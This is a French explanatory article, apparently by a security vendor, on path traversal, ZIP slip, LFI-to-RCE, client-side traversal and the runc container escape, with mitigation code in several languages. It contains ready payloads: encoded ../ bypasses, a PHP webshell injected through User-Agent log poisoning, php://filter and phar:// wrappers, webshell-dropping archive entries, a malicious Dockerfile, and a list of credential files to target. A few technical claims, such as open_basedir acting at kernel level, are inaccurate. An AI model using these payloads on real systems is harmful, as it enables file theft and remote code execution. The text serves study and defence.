Path traversal (CWE-22) : séquences ../ pour lire /etc/passwd, clés SSH ou .env, escalader vers RCE via empoisonnement de logs ou s'échapper d'un conteneur.
TL;DR
../ échappent au répertoire de base prévu — lecture de /etc/passwd, .env, clés SSH, tokens Kubernetes%2e%2e%2f, %252e, ....//) déjouent tout filtre par liste noire naïfphp://filter, phar://)os.path.realpath() / getCanonicalPath() après join, puis affirmer que le résultat commence par le répertoire de baseLe path traversal — aussi appelé traversée de répertoires ou attaque dot-dot-slash — est une vulnérabilité qui permet à un attaquant de lire, et parfois d'écrire, des fichiers en dehors du répertoire qu'une application avait prévu d'exposer. Classifié CWE-22 sous OWASP A01:2021 (Broken Access Control), l'attaque exploite une validation insuffisante des composants de chemin fournis par l'utilisateur : un attaquant insère des séquences ../ qui naviguent vers le haut dans l'arborescence de répertoires au-delà de la racine autorisée.
La vulnérabilité apparaît partout où une application construit un chemin de fichier à partir d'une entrée utilisateur sans résoudre et valider le résultat contre une base connue comme sûre : endpoints de téléchargement de fichiers (?file=report.pdf), chargeurs de templates (?page=welcome), serveurs d'images, visualiseurs de logs, installateurs de plugins et extracteurs d'archives. Dans les projets fermés, la recherche Aikido a suivi une augmentation de 85 % de la prévalence du path traversal entre 2023 et 2024 (de 1,9 % à 3,5 % de tous les findings). CVE-2024-23897 (Jenkins, CVSS 9.8) a été exploité dans les jours suivant la divulgation ; CVE-2024-4577 (PHP-CGI) dans les 48 heures — les deux ajoutés au catalogue CISA KEV.
Path traversal vs vulnérabilités connexes :
include() ou require() — permet à la fois la lecture de fichiers et l'exécution de code via les wrappers PHP. Toute LFI est un path traversal ; tout path traversal n'est pas une LFI.include() avec allow_url_include=On et pointe vers une URL distante — essentiellement du SSRF au niveau PHP.L'attaque exploite la façon dont les serveurs construisent des chemins de fichiers en concaténant un répertoire de base avec une entrée fournie par l'utilisateur. Sans canonicalisation, les séquences ../ traversent vers le haut dans l'arborescence de répertoires avant que le système de fichiers résolve le chemin final.
Quatre conditions qui permettent l'attaque :
Exemple HTTP concret — lecture de fichier non authentifiée :
GET /api/reports/download?file=../../../../etc/passwd HTTP/1.1
Host: target.example.comCorps de la réponse :
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...L'application a construit /var/www/app/reports/../../../../etc/passwd, que l'OS a résolu en /etc/passwd. Quatre sauts ../ : reports/ → app/ → www/ → var/ → racine du système de fichiers.
| Variante | Technique principale | Impact typique | Page dédiée |
|---|---|---|---|
Traversée ../ de base | Dot-dot-slash littéral dans un paramètre de chemin | Lecture de fichier arbitraire (credentials, clés, code source) | /learn/path-basic |
| Traversée encodée | URL, double URL, encodage Unicode de ../ | Contournement WAF et filtres | /learn/path-encoded |
| LFI vers RCE | Wrappers PHP (php://filter, phar://) + chaîne d'empoisonnement de logs | Exécution de code à distance depuis une primitive de lecture de fichier | /learn/path-overview |
| ZIP slip | Entrées d'archive avec traversée dans les noms de fichier → écriture arbitraire | Écrasement de fichier, dépôt de webshell, RCE | /learn/path-overview |
| Path traversal Windows | ..\.., chemins UNC, contournement par les deux points NTFS ADS, noms courts 8.3 | Lecture de web.config, sauvegarde SAM, évasion IIS | /learn/path-windows |
Le ZIP slip est une variante du path traversal déclenchée lors de l'extraction d'archives. Une archive malveillante contient des entrées avec des séquences de traversée dans leurs noms de fichier :
Contenu de l'archive :
../../var/www/html/webshell.php
../../etc/cron.d/backdoorLorsque l'application extrait l'archive sans valider le chemin résolu de chaque entrée, les fichiers atterrissent dans des emplacements contrôlés par l'attaquant en dehors du répertoire d'extraction prévu. La primitive atteint une écriture de fichier arbitraire — fréquemment chaînée vers du RCE en écrasant un fichier PHP, ASPX ou JSP accessible depuis le web.
Extraction sécurisée (Python) :
import zipfile, os
def safe_extract(zip_path: str, dest_dir: str) -> None:
dest_dir = os.path.realpath(dest_dir)
with zipfile.ZipFile(zip_path) as zf:
for member in zf.namelist():
target = os.path.realpath(os.path.join(dest_dir, member))
if not target.startswith(dest_dir + os.sep):
raise ValueError(f"ZIP Slip détecté : {member}")
zf.extract(member, dest_dir)CVE-2024-1708 (ConnectWise ScreenConnect) a réalisé du RCE non authentifié via ZIP slip chaîné avec un contournement d'authentification — exploité par plusieurs groupes d'acteurs de menace dans les 24 heures suivant la divulgation.
L'empoisonnement de logs fait passer un path traversal en lecture seule à une exécution de code complète en deux étapes :
Étape 1 — Empoisonner le log d'accès Apache :
GET / HTTP/1.1
Host: target.com
User-Agent: <?php system($_GET['cmd']); ?>Apache écrit la valeur de User-Agent verbatim dans /var/log/apache2/access.log. Le code PHP est maintenant stocké sur le disque.
Étape 2 — Inclure le log via la LFI :
GET /view?page=../../../var/log/apache2/access.log&cmd=id HTTP/1.1
Host: target.comPHP interprète le code stocké et retourne uid=33(www-data). D'autres fichiers de logs empoisonnables incluent /var/log/nginx/access.log, /var/log/auth.log (via une connexion SSH avec un nom d'utilisateur malveillant), et /proc/self/fd/2 (stderr du processus, contourne les restrictions de permissions).
php://filter, phar://)Les wrappers de flux PHP transforment les chemins de fichiers en primitives exécutables :
# Divulgation du code source — encode en base64 n'importe quel fichier PHP sans l'exécuter
php://filter/convert.base64-encode/resource=index.php
# Chaîne de filtres RCE (Synacktiv 2022+) — génère du PHP arbitraire sans upload de fichier
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|...(chaîne)
# Désérialisation PHAR — toute opération sur phar:// déclenche une chaîne de gadgets
phar:///tmp/upload.jpg (le fichier contient des métadonnées PHAR valides avec gadget RCE)RCE par chaîne de filtres PHP (sans upload de fichier requis) : le php_filter_chain_generator de Charles Fol (2022) construit une chaîne php://filter qui produit du bytecode PHP arbitraire ciblant /dev/null — atteignant du RCE purement via include() avec un URI wrapper forgé, avec allow_url_include=Off et sans répertoire accessible en écriture requis. Une application PHP avec n'importe quelle LFI est potentiellement capable de RCE.
realpath() retourne false pour les URIs wrappers (ils ne sont pas de véritables chemins du système de fichiers), donc une vérification correcte du chemin canonique bloque automatiquement toute exploitation des wrappers PHP.
Le CSPT est une variante côté navigateur dans laquelle une Single Page Application construit des URLs d'endpoints d'API à partir de segments de chemin contrôlés par l'utilisateur. Contrairement au path traversal côté serveur, aucun système de fichiers n'est impliqué — la traversée redirige l'appel API vers un endpoint interne non prévu.
Schéma d'attaque :
URL SPA normale : /app/projects/123/settings
URL injectée : /app/projects/123%2F..%2F..%2Fadmin/settings
La SPA construit : GET /api/projects/123/../../../admin/settings
→ résolution en GET /api/admin/settings (contourne le contrôle d'accès)La prime de bug bounty Meta 2025 a payé 111 750 $ pour une chaîne de path traversal menant au RCE. CVE-2025-6023 (Grafana) démontre un CSPT chaîné avec une redirection ouverte et du XSS pour réaliser une prise de contrôle de compte. Défense : assainir tous les segments de chemin URL avant de les utiliser dans les appels API côté client ; ne jamais passer des composants bruts de window.location.pathname dans des URLs fetch.
CSPT et propagation LLM : une investigation 2025 du Register a révélé que les LLMs généraient du code vulnérable au path traversal dans 76 des 80 requêtes de test — même lorsqu'explicitement demandé de produire du code sécurisé pour servir des fichiers. Les LLMs entraînés sur des réponses Stack Overflow antérieures à 2010 reproduisent os.path.join(base, user_input) sans la vérification de chemin canonique. Toujours passer en revue le code généré par IA pour servir des fichiers avec le même niveau de scrutin que le code hérité.
La vulnérabilité runc "Leaky Vessels" (CVSS 8.6) démontre que le path traversal peut échapper complètement à l'isolation des conteneurs. runc laisse fuiter un descripteur de fichier ouvert référençant le répertoire de travail de l'hôte avant que pivot_root soit appelé. Définir process.cwd à /proc/self/fd/7 dans la configuration d'un conteneur résout le répertoire de travail du conteneur contre le système de fichiers hôte :
# Dockerfile malveillant — déclenche CVE-2024-21626
FROM ubuntu
WORKDIR /proc/self/fd/7Exécuter des processus avec des chemins relatifs à ce CWD fuyant accède directement aux fichiers hôtes. Impact : évasion complète du conteneur — lecture/écriture du système de fichiers hôte, vol de tokens de comptes de service Kubernetes, compromission complète de l'environnement cloud. Corrigé dans runc 1.1.12, Docker 25.0.2, containerd 1.7.13.
La recherche d'Orange Tsai en 2024 a documenté 9 CVE et 20 techniques d'exploitation dans la gestion des chemins d'Apache HTTP Server. CVE-2024-38474 (CVSS 9.1) : les points d'interrogation encodés (%3F) dans les rétroréférences mod_rewrite provoquent une troncature de chemin, permettant l'évasion du document root et potentiellement du RCE via l'exécution de script. CVE-2024-38472 : la coercition de chemin UNC sur Windows via %5C%5Cattacker-server/path déclenche du SSRF via apr_filepath_merge(). Corrigé dans Apache 2.4.60 (juillet 2024).
| CVE | Produit | CVSS | Mécanisme | Année |
|---|---|---|---|---|
| CVE-2024-23897 | Jenkins ≤ 2.441 | 9.8 Critical | args4j @/path/to/file développe des fichiers arbitraires en CLI — lit master.key, jeton CSRF → chaîne RCE. CISA KEV. | 2024 |
| CVE-2023-2825 | GitLab CE/EE 16.0.0 | 10.0 Critical | Lecture de fichier arbitraire non authentifiée via chemin d'URL de groupe imbriqué — clés privées, tokens de runner, /etc/passwd | 2023 |
| CVE-2024-1708 | ConnectWise ScreenConnect ≤ 23.9.7 | 8.4 High | ZIP slip → webshell ASPX dans le webroot → RCE en tant que SYSTEM. Exploité en moins de 24h. CISA KEV. | 2024 |
| CVE-2024-38474 | Apache HTTP Server < 2.4.60 | 9.1 Critical | Confusion de chemin %3F encodé mod_rewrite → évasion document root → RCE. Orange Tsai DEF CON 32. | 2024 |
| CVE-2024-38819 | Spring Framework 5.3.x/6.0.x/6.1.x | 7.5 High | Traversée double encodée dans RouterFunctions servant des ressources statiques → lecture de fichier arbitraire | 2024 |
| CVE-2024-4577 | PHP-CGI sur Windows (8.x) | 9.8 Critical | L'encodage Best-Fit Windows mappe le tiret conditionnel (0xAD) vers le tiret, injectant des arguments CLI → RCE. Ransomware TellYouThePass. CISA KEV. | 2024 |
| CVE-2024-21626 | runc ≤ 1.1.11 (Docker/K8s) | 8.6 High | Fuite de fd avant pivot_root → WORKDIR /proc/self/fd/7 résolution vers le système de fichiers hôte → évasion de conteneur | 2024 |
| CVE-2024-50379 | Apache Tomcat 9.x/10.x/11.x | 9.8 Critical | Race TOCTOU dans la compilation JSP sur FS insensible à la casse → écrasement JSP arbitraire → RCE | 2024 |
| CVE-2024-57727 | SimpleHelp ≤ 5.5.7 | 7.5 High | Path traversal non authentifié → lecture de passwords.xml + credentials. Exploitation par ransomware Medusa/DragonForce. | 2024 |
| CVE-2025-24030 | Envoy proxy (port admin 9901) | 7.5 High | Contournement de canonicalisation de chemin sur l'interface admin → accès aux endpoints diagnostiques internes, fuite de clés TLS | 2025 |
Les filtres de validation d'entrée opérant sur la chaîne brute avant la résolution du système de fichiers sont contournés par tout encodage qui produit la même séquence d'octets après la normalisation propre au système de fichiers :
| Technique d'encodage | Exemple de payload | Cible du contournement |
|---|---|---|
| Encodage URL simple | ..%2f..%2fetc%2fpasswd | Filtre sur la chaîne brute ../ |
| Encodage URL double | ..%252f..%252fetc%252fpasswd | Proxy décode une fois ; l'app décode deux fois |
| Encodage des points uniquement | %2e%2e/%2e%2e/etc/passwd | Filtre sur les slashs uniquement |
| Encodage complet | %2e%2e%2f%2e%2e%2fetc%2fpasswd | Filtre multi-caractères |
| Antislash encodé (Windows) | ..%5c..%5cwindows%5cwin.ini | Filtre sur les slashs avant uniquement |
| Solidus pleine largeur Unicode | ..%ef%bc%8f..%ef%bc%8fetc%2fpasswd | Décodeur ASCII uniquement |
| UTF-8 trop long | ..%c0%af..%c0%afetc%2fpasswd | Décodeur non-overlong |
| Séquences imbriquées | ....//....//etc//passwd | Suppression en une seule passe de ../ |
| Contournement extension null byte | ../../etc/passwd%00.jpg | Liste blanche d'extensions (PHP < 5.3.4) |
| Paramètre de chemin Tomcat | ..;/..;/..;/etc/passwd | Règles WAF correspondant à ../ uniquement |
Pourquoi les listes noires échouent toujours : un filtre supprimant ../ est contourné par ....// (les séquences imbriquées se réduisent à ../ après une passe). Un filtre bloquant %2e est contourné par %252e (double encodé). Un filtre rejetant /etc/ est contourné par /proc/self/environ. L'espace d'encodage est illimité — aucune liste de blocage n'est complète. Seule la résolution canonique de chemin suivie d'une vérification par liste blanche est fiable.
file=, path=, page=, template=, include=, doc=, resource=, lang=, theme=, layout=, attachment=, export=.../../../../etc/passwd (Linux) ou ..\..\..\windows\win.ini (Windows). Confirmer avec des marqueurs spécifiques aux fichiers.%2e%2e%2f, ..%2f, %252e%252e%252f, ....//, ..%c0%af.?file=/etc/passwd — Python os.path.join(base, "/etc/passwd") retourne /etc/passwd ; la base est abandonnée pour les entrées absolues.php://filter/convert.base64-encode/resource=index.php — décoder la réponse en base64 pour récupérer le code source./var/log/apache2/access.log via la traversée, puis injecter <?php system($_GET['cmd']); ?> en User-Agent.../../evil.txt en utilisant evilarc ou les outils zip-slip-vulnerability.SecLists/Fuzzing/LFI/LFI-Jhaddix.txtlfi, traversal, local-file-readDétection BreachVex : analyse par templates, fuzzing de paramètres, sondage HTTP direct avec plus de 19 variantes de payload, et un LFI prover étendu couvrant les wrappers PHP. Un finding atteint le statut confirmé uniquement quand trois portes passent : HTTP 200, longueur du contenu ≥ 10 octets, et un marqueur de contenu correspondant au fichier cible (ex. root:x:[0-9]+:[0-9]+: pour /etc/passwd). Les réponses des filtres PHP sont décodées en base64 avant la correspondance des marqueurs. Les hits de fuzzing seuls sans confirmation directe sont rétrogradés en findings potentiels de faible sévérité pour supprimer les faux positifs.
Marqueurs de confirmation clés :
/etc/passwd → root:x:0:0:, /bin/bash, nologin
/proc/self/environ → PATH=, HOME=, USER=, AWS_SECRET_ACCESS_KEY=
WEB-INF/web.xml → <web-app
~/.aws/credentials → [default], aws_access_key_id=
C:\Windows\win.ini → [fonts], [extensions]Résoudre le chemin complet avec realpath() / getCanonicalPath() après avoir rejoint le répertoire de base, puis affirmer que le résultat commence par le répertoire de base suivi d'un séparateur de chemin. Le suffixe séparateur est critique — sans lui, /uploads_backup passe une vérification startsWith('/uploads').
Python :
import os
BASE_DIR = os.path.realpath("/var/www/app/uploads")
def safe_open(filename: str):
# realpath résout les symlinks, normalise .., décode le percent-encoding
requested = os.path.realpath(os.path.join(BASE_DIR, filename))
if not requested.startswith(BASE_DIR + os.sep):
raise ValueError("Path traversal détecté")
return open(requested, "rb")Node.js :
const path = require("path");
const fs = require("fs");
const BASE = fs.realpathSync("/var/www/app/uploads");
function safeRead(userInput) {
const resolved = path.resolve(BASE, userInput);
const real = fs.realpathSync(resolved); // suit les symlinks
if (!real.startsWith(BASE + path.sep)) {
throw new Error("Path traversal bloqué");
}
return fs.readFileSync(real);
}Java :
File base = new File("/var/www/app/uploads").getCanonicalFile();
File requested = new File(base, userInput).getCanonicalFile();
// getCanonicalPath résout .., les symlinks et la normalisation OS
if (!requested.toPath().startsWith(base.toPath())) {
throw new SecurityException("Tentative de path traversal");
}PHP :
<?php
$base = realpath('/var/www/uploads');
$requested = realpath($base . DIRECTORY_SEPARATOR . $_GET['file']);
// realpath() retourne false pour les chemins inexistants ET les wrappers php://
if ($requested === false || strpos($requested, $base . DIRECTORY_SEPARATOR) !== 0) {
http_response_code(403);
exit('Interdit');
}
echo file_get_contents($requested);Go :
import (
"net/http"
"os"
"path/filepath"
"strings"
)
const BASE = "/var/www/uploads"
func safeDownload(w http.ResponseWriter, r *http.Request) {
clean := filepath.Clean(r.URL.Query().Get("file"))
full := filepath.Join(BASE, clean)
if !strings.HasPrefix(full, BASE+string(filepath.Separator)) {
http.Error(w, "Interdit", http.StatusForbidden)
return
}
http.ServeFile(w, r, full)
}Ne jamais passer directement l'entrée utilisateur aux fonctions du système de fichiers. Stocker les fichiers sous des UUIDs et résoudre le vrai chemin côté serveur :
# Sécurisé : l'utilisateur fournit un identifiant opaque, jamais un nom de fichier
record = db.query(File).filter_by(id=file_id, owner=current_user).first()
if not record:
raise HTTPException(status_code=404)
return send_file(record.storage_path) # chemin interne, jamais contrôlé par l'utilisateurExécuter les processus servant des fichiers dans une chroot jail ou un conteneur sans accès aux chemins système sensibles. Même une traversée réussie ne peut pas atteindre /etc/passwd si la racine du système de fichiers du processus est le répertoire de l'application. Combiner avec des politiques de contrôle d'accès mandatoire seccomp / AppArmor / SELinux.
; php.ini
allow_url_fopen = Off ; bloque file:// et http:// dans include()
allow_url_include = Off ; requis pour les attaques de wrappers data:// et phar://
open_basedir = /var/www/app ; restreint tous les accès système de fichiers à ce préfixeopen_basedir applique une restriction de chemin au niveau du noyau qui bloque la traversée même si les vérifications au niveau applicatif sont contournées.
Toujours valider le chemin résolu de chaque entrée d'archive avant l'extraction. Rejeter les entrées avec des chemins absolus ou des symlinks pointant en dehors du répertoire de destination. Ne jamais extraire directement dans un répertoire accessible depuis le web sans validation.
| Filtre appliqué | Contournement qui le défait |
|---|---|
Supprimer ../ | ....// se réduit à ../ après une passe de suppression |
Rejeter %2e | Double encodage : %252e passe le filtre, se décode à l'utilisation |
Vérifier startsWith(base) | Inclure la base dans le payload : /uploads/../../../etc/passwd |
Bloquer la chaîne /etc/ | Utiliser /proc/self/environ pour des secrets équivalents |
| Supprimer les null bytes | Utiliser des payloads modernes qui n'ont pas besoin de null byte |
| Liste blanche d'extensions (approche denylist) | shell.php%00.jpg, shell.PHP, NTFS ADS shell.php::$DATA |
Qu'est-ce que le path traversal ?
Le path traversal (CWE-22) est une vulnérabilité dans laquelle une validation insuffisante des composants de chemin fournis par l'utilisateur permet aux séquences ../ d'échapper au répertoire de base prévu, exposant des fichiers serveur arbitraires — /etc/passwd, clés privées SSH, secrets .env, tokens Kubernetes. Dans les applications PHP, il escalade vers du RCE via les wrappers PHP ou l'empoisonnement de logs. Classifié sous OWASP A01:2021 Broken Access Control.
Quelle est la différence entre path traversal et LFI ?
Le path traversal décrit l'évasion du répertoire prévu. Le Local File Inclusion (LFI, CWE-98) est le cas propre à PHP où l'entrée utilisateur atteint include() ou require(), permettant l'exploitation des wrappers PHP et l'exécution de code. Toute LFI est un path traversal ; tout path traversal n'est pas une LFI.
Qu'est-ce que le ZIP slip ?
Le ZIP slip est une variante du path traversal dans l'extraction d'archives : une archive malveillante contient des entrées avec des séquences de traversée ../../ qui causent l'atterrissage de fichiers en dehors du répertoire d'extraction prévu, permettant une écriture de fichier arbitraire et du RCE. CVE-2024-1708 (ScreenConnect, CISA KEV) a été exploité dans les 24 heures suivant la divulgation.
Qu'est-ce que le CSPT ?
Le Client-Side Path Traversal (CSPT) survient quand une SPA construit des URLs d'API à partir de segments de chemin contrôlés par l'utilisateur. L'injection de ../ redirige l'appel API vers un endpoint non prévu — contournant les contrôles d'accès ou chaînant vers du XSS. La prime de bug bounty Meta 2025 a payé 111 750 $ pour une chaîne CSPT.
Pourquoi le filtrage par liste noire échoue-t-il ?
L'espace d'encodage est illimité : ....//, %252e, %c0%af, %ef%bc%8f, les variantes de normalisation Unicode et les séquences imbriquées produisent toutes la même opération système de fichiers après normalisation au niveau OS. La seule défense fiable est la résolution canonique de chemin (realpath() / getCanonicalPath()) suivie d'une vérification par liste blanche.
Comment prévenir le path traversal en Python ?
os.path.realpath(os.path.join(BASE_DIR, user_input)) puis affirmer que le résultat startsWith(BASE_DIR + os.sep). Ne jamais utiliser os.path.join() seul — os.path.join('/uploads/', '/etc/passwd') retourne /etc/passwd car un second argument absolu remplace la base.
Quels fichiers tester en premier ?
/etc/passwd (confirmer la traversée), /proc/self/environ (contient souvent des credentials cloud), ~/.ssh/id_rsa, ~/.aws/credentials, /var/run/secrets/kubernetes.io/serviceaccount/token, WEB-INF/web.xml (Java), web.config (IIS), /.env.
Quel est le score CVSS pour le path traversal ? Traversée en lecture seule typique : CVSS 7.5 High (AV:N/AC:L/PR:N/UI:N/C:H/I:N/A:N). Variantes capables d'écriture (ZIP slip, empoisonnement de logs) : 8.4-9.8. CVE-2023-2825 (GitLab) a obtenu 10.0 Critical ; CVE-2024-23897 (Jenkins) a obtenu 9.8 Critical avec exploitation active dans le catalogue KEV.
Le path traversal (CWE-22, aussi appelé traversée de répertoires ou attaque dot-dot-slash) est une vulnérabilité dans laquelle une validation insuffisante des composants de chemin fournis par l'utilisateur permet à un attaquant d'insérer des séquences ../ qui échappent au répertoire de base prévu. L'attaquant peut lire des fichiers arbitraires du serveur — /etc/passwd, clés privées SSH, secrets .env — et dans les cas avancés, chaîner vers une exécution de code à distance. Classifié sous OWASP A01:2021 Broken Access Control.
Le path traversal (CWE-22) désigne le fait d'échapper au répertoire prévu via des séquences ../ pour accéder à des fichiers non destinés à être exposés. Le Local File Inclusion (LFI, CWE-98) est une variante propre à PHP où l'entrée utilisateur atteint include() ou require(), permettant à la fois la lecture de fichiers et l'exécution de code via les wrappers PHP. Toute LFI est un path traversal ; tout path traversal n'est pas une LFI. Le SSRF est distinct : il exploite la position réseau du serveur lui-même, pas son système de fichiers.
Le ZIP slip est une variante du path traversal qui survient lors de l'extraction d'archives. Un fichier ZIP, TAR ou JAR malveillant contient des entrées avec des séquences de traversée dans leurs noms de fichier (ex. ../../evil.sh). Lorsque l'application extrait l'archive sans valider le chemin résolu de chaque entrée, des fichiers atterrissent en dehors du répertoire d'extraction prévu — permettant une écriture de fichier arbitraire et fréquemment du RCE. CVE-2024-1708 (ConnectWise ScreenConnect, CISA KEV) et CVE-2024-57728 (SimpleHelp) sont des exemples 2024 avec exploitation active par ransomware.
Le Client-Side Path Traversal (CSPT) est une variante côté navigateur dans laquelle une Single Page Application construit des URLs d'endpoints d'API à partir de segments de chemin contrôlés par l'utilisateur. L'injection de séquences ../ redirige l'appel API vers un endpoint non prévu — exposant potentiellement des données ou chaînant vers du XSS quand la réponse non prévue est rendue sans assainissement. La prime de bug bounty Meta 2025 a payé 111 750 $ pour une chaîne CSPT. CVE-2025-6023 (Grafana) démontre un CSPT menant à une prise de contrôle de compte.
L'empoisonnement de logs est une chaîne LFI-vers-RCE en deux étapes. Étape 1 : injecter du code PHP dans un fichier de log du serveur via un en-tête HTTP contrôlé — GET / HTTP/1.1 avec User-Agent: <?php system($_GET['cmd']); ?> pousse Apache à écrire ceci dans /var/log/apache2/access.log. Étape 2 : inclure le log via la LFI — ?file=../../../var/log/apache2/access.log&cmd=id — PHP interprète le code injecté et retourne la sortie de la commande. Prérequis : LFI confirmée atteignant un fichier de log lisible par le processus PHP.
Les wrappers de flux PHP sont des schémas URI que les fonctions système de fichiers de PHP acceptent aux côtés des chemins de fichiers normaux. php://filter/convert.base64-encode/resource=index.php retourne le code source encodé en base64 de n'importe quel fichier PHP sans l'exécuter — permettant l'extraction de credentials. phar:// déclenche la désérialisation automatique des métadonnées PHAR, permettant du RCE via des gadgets d'injection d'objet. data:// injecte du code directement mais requiert allow_url_include=On. zip:// exécute du PHP depuis une archive uploadée. La fonction realpath() de PHP retourne false pour les URIs wrappers, donc une vérification correcte du chemin canonique bloque automatiquement tous les wrappers.
Les filtres par liste noire correspondent à des motifs spécifiques — ../ %2e%2e%2f etc. — mais l'espace d'encodage est infini. Un filtre supprimant ../ est contourné par ....// (les séquences imbriquées deviennent ../ après une passe de suppression). Un filtre bloquant %2e est contourné par %252e (double encodé). Un filtre bloquant /etc/ est contourné par /proc/self/environ. Un filtre supprimant les antislashs rate %5c. Les encodages UTF-8 trop longs (%c0%af, %ef%bc%8f) contournent les vérifications ASCII uniquement. La seule défense fiable est la résolution canonique du chemin suivie d'une vérification par liste blanche contre le répertoire de base attendu.
Utiliser os.path.realpath() pour résoudre le chemin joint, puis affirmer que le résultat commence par le répertoire de base suivi de os.sep. Le suffixe os.sep empêche /uploads_backup de passer une vérification startsWith('/uploads'). Ne jamais se fier à os.path.join() seul — os.path.join('/uploads/', '/etc/passwd') retourne '/etc/passwd' car l'argument absolu remplace la base. Toujours appeler realpath() après join(), jamais avant.
Utiliser File.getCanonicalFile() (pas getAbsolutePath(), qui ne résout pas ..) sur le chemin joint, puis affirmer que le résultat commence par le chemin de base canonique via Path.startsWith(). Ne jamais construire d'objets File avec une entrée utilisateur brute sans canonicalisation immédiate. Pour les conteneurs servlet, restreindre les servlets de service de fichiers à un répertoire spécifique via des contraintes de sécurité dans web.xml et exécuter avec des comptes OS à privilèges minimaux.
Un path traversal en lecture seule non authentifié typique obtient un CVSS 7.5 High : AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N. Quand il est chaîné avec une écriture (ZIP slip, empoisonnement de logs) le score monte à 8.4-9.8. CVE-2023-2825 (GitLab) a obtenu 10.0 Critical — lecture non authentifiée de tout fichier incluant clés privées et tokens de runner. CVE-2024-23897 (Jenkins) a obtenu 9.8 Critical et a été ajouté au catalogue CISA KEV.
CVE-2024-21626, baptisé Leaky Vessels (CVSS 8.6), est une vulnérabilité d'évasion de conteneur dans runc ≤1.1.11. runc laisse fuiter un descripteur de fichier ouvert référençant le répertoire de travail de l'hôte avant d'appeler pivot_root. Définir process.cwd à /proc/self/fd/7 dans la configuration du conteneur résout le répertoire de travail du conteneur contre le système de fichiers hôte — un path traversal au niveau du runtime de conteneur permettant une lecture/écriture complète du système de fichiers hôte. Corrigé dans runc 1.1.12, Docker 25.0.2.
Cibles Linux prioritaires : /etc/passwd (confirmer la traversée), /etc/shadow (hashes, nécessite lecture root), /proc/self/environ (contient souvent AWS_SECRET_ACCESS_KEY, DATABASE_URL), ~/.ssh/id_rsa (clé privée SSH), ~/.aws/credentials, /var/run/secrets/kubernetes.io/serviceaccount/token (JWT Kubernetes), /app/.env ou /.env (secrets de l'application). Applications Java : WEB-INF/web.xml, WEB-INF/classes/application.properties. Windows : C:\Windows\win.ini (confirmer la traversée), C:\inetpub\wwwroot\web.config (secrets IIS).
BreachVex exécute plusieurs méthodes de détection complémentaires : analyse par templates LFI/traversal, fuzzing de paramètres contre les paramètres sujets à la LFI (file, path, page, template, include, doc), un sondage HTTP direct avec plus de 19 variantes de payload, et un LFI prover étendu couvrant les wrappers PHP. Un finding n'est promu à confirmé que lorsque trois critères sont réunis : statut HTTP 200, longueur du corps de réponse ≥ 10 octets, et un marqueur de contenu correspondant au fichier cible (ex. root:x:[0-9]+:[0-9]+: pour /etc/passwd). Les réponses des filtres PHP sont décodées en base64 avant la correspondance des marqueurs.
L'attaque runc Leaky Vessels (CVE-2024-21626) fonctionne en exploitant une fuite de descripteur de fichier dans runc avant que l'isolation pivot_root soit complète. Un attaquant crée une image de conteneur ou un Dockerfile malveillant avec WORKDIR défini à /proc/self/fd/7 (le numéro fd fuyant pointant vers le CWD hôte). Quand runc démarre le conteneur, le répertoire de travail du processus se résout contre le système de fichiers hôte. Les chemins relatifs comme ./../../etc/passwd accèdent alors aux fichiers hôte directement. Impact : évasion complète du conteneur, lecture/écriture arbitraire du système de fichiers hôte, mouvement latéral dans les environnements cloud.